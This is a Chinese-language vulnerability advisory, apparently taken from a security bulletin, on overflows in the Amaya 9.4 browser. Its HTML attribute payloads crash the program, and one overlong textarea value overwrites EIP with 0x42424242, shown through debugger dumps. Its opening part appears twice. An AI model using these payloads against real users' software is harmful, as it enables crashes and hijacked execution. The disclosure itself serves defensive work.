W3C的Amaya是一个所见即所得的Web浏览器和认证程序。 Amaya实现上存在多个漏洞,远程攻击者可能导致程序崩溃或执行任意指令。 以下代码段(可能还有其他类似的代码段)可以强迫Amaya崩溃: > <colgroup compact=\"Ax200\"> > [...] > <textarea rows=\"Ax200\"> > eax=000000f9 ebx=02ae8420 ecx=77bcec76 edx=41414141 esi=007b9420 > edi=01ae6d5c eip=004edd95 esp=0012e7ac ebp=007d6110 iopl=0 > cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010206 > > 004edd61 03f3 add esi,ebx > 004edd63 a4 movsb > 004edd64 8b4500 mov eax,[ebp] > 004edd67 8b8c241c010000 mov ecx,[esp+0x11c] > 004edd6e 8b942418010000 mov edx,[esp+0x118] > 004edd75 50 push eax > 004edd76 51 push ecx > 004edd77 53 push ebx > 004edd78 52 push edx > 004edd79 e8a23c0200 call amaya+0x111a20 (00511a20) > 004edd7e 53 push ebx > 004edd7f e83cf90000 call amaya+0xfd6c0 (004fd6c0) > 004edd84 83c428 add esp,0x28 > 004edd87 8bbc24fc000000 mov edi,[esp+0xfc] > 004edd8e 8b942400010000 mov edx,[esp+0x100] > FAULT ->004edd95 8b4240 mov eax,[edx+0x40] > ds:0023:41414181=???????? > 004edd98 83f844 cmp eax,0x44 > 004edd9b...
W3C的Amaya是一个所见即所得的Web浏览器和认证程序。 Amaya实现上存在多个漏洞,远程攻击者可能导致程序崩溃或执行任意指令。 以下代码段(可能还有其他类似的代码段)可以强迫Amaya崩溃: > <colgroup compact=\"Ax200\"> > [...] > <textarea rows=\"Ax200\"> > eax=000000f9 ebx=02ae8420 ecx=77bcec76 edx=41414141 esi=007b9420 > edi=01ae6d5c eip=004edd95 esp=0012e7ac ebp=007d6110 iopl=0 > cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010206 > > 004edd61 03f3 add esi,ebx > 004edd63 a4 movsb > 004edd64 8b4500 mov eax,[ebp] > 004edd67 8b8c241c010000 mov ecx,[esp+0x11c] > 004edd6e 8b942418010000 mov edx,[esp+0x118] > 004edd75 50 push eax > 004edd76 51 push ecx > 004edd77 53 push ebx > 004edd78 52 push edx > 004edd79 e8a23c0200 call amaya+0x111a20 (00511a20) > 004edd7e 53 push ebx > 004edd7f e83cf90000 call amaya+0xfd6c0 (004fd6c0) > 004edd84 83c428 add esp,0x28 > 004edd87 8bbc24fc000000 mov edi,[esp+0xfc] > 004edd8e 8b942400010000 mov edx,[esp+0x100] > FAULT ->004edd95 8b4240 mov eax,[edx+0x40] > ds:0023:41414181=???????? > 004edd98 83f844 cmp eax,0x44 > 004edd9b 0f8527030000 jne amaya+0xee0c8 (004ee0c8) > 004edda1 837c242457 cmp dword ptr [esp+0x24],0x57 > 004edda6 0f8465060000 je amaya+0xee411 (004ee411) > 004eddac 8b4500 mov eax,[ebp] > 004eddaf 8b8c2408010000 mov ecx,[esp+0x108] > 004eddb6 6aff push 0xff > 004eddb8 50 push eax > 004eddb9 51 push ecx > 004eddba 57 push edi > 004eddbb e8d33af1ff call amaya+0x1893 (00401893) > 004eddc0 83c410 add esp,0x10 > 004eddc3 5f pop edi > 004eddc4 5e pop esi > 004eddc5 5d pop ebp 这样就可以控制EIP: > <textarea rows= > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB> > eax=00000001 ebx=00000000 ecx=77c10e72 edx=007bd472 > esi=0000003e edi=00000000 eip=42424242 esp=0012ea38 ebp=00000000 > Function: <nosymbols> > No prior disassembly possible > 42424242 ?? ??? > 42424244 ?? ??? > 42424246 ?? ??? > 42424248 ?? ??? > 4242424a ?? ??? > 4242424c ?? ??? 此外,以下代码段也可以导致Amaya 9.4崩溃: > <legend color=\"Ax200\"> > eax=41414141 ebx=02ae7200 ecx=41414141 edx=41414141 esi=00000000 > edi=00000000 eip=00516135 esp=0012e1cc ebp=007dd6e8 iopl=0 > cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010206 > > 00516114 56 push esi > 00516115 57 push edi > 00516116 33ff xor edi,edi> 00516118 33f6 xor esi,esi > 0051611a 3bcf cmp ecx,edi > 0051611c 893d943df101 mov [amaya+0x1b13d94 > (01f13d94)],edi > 00516122 7511 jnz amaya+0x116135 (00516135) > 00516124 6a0a push 0xa > 00516126 e825d80500 call amaya+0x173950 (00573950) > 0051612b 83c404 add esp,0x4 > 0051612e 8bd7 mov edx,edi > 00516130 8bc6 mov eax,esi > 00516132 5f pop edi > 00516133 5e pop esi > 00516134 c3 ret > FAULT ->00516135 8b4134 mov eax,[ecx+0x34] > ds:0023:41414175=???????? > 00516138 3bc7 cmp eax,edi > 0051613a 74f2 jz amaya+0x11612e (0051612e) >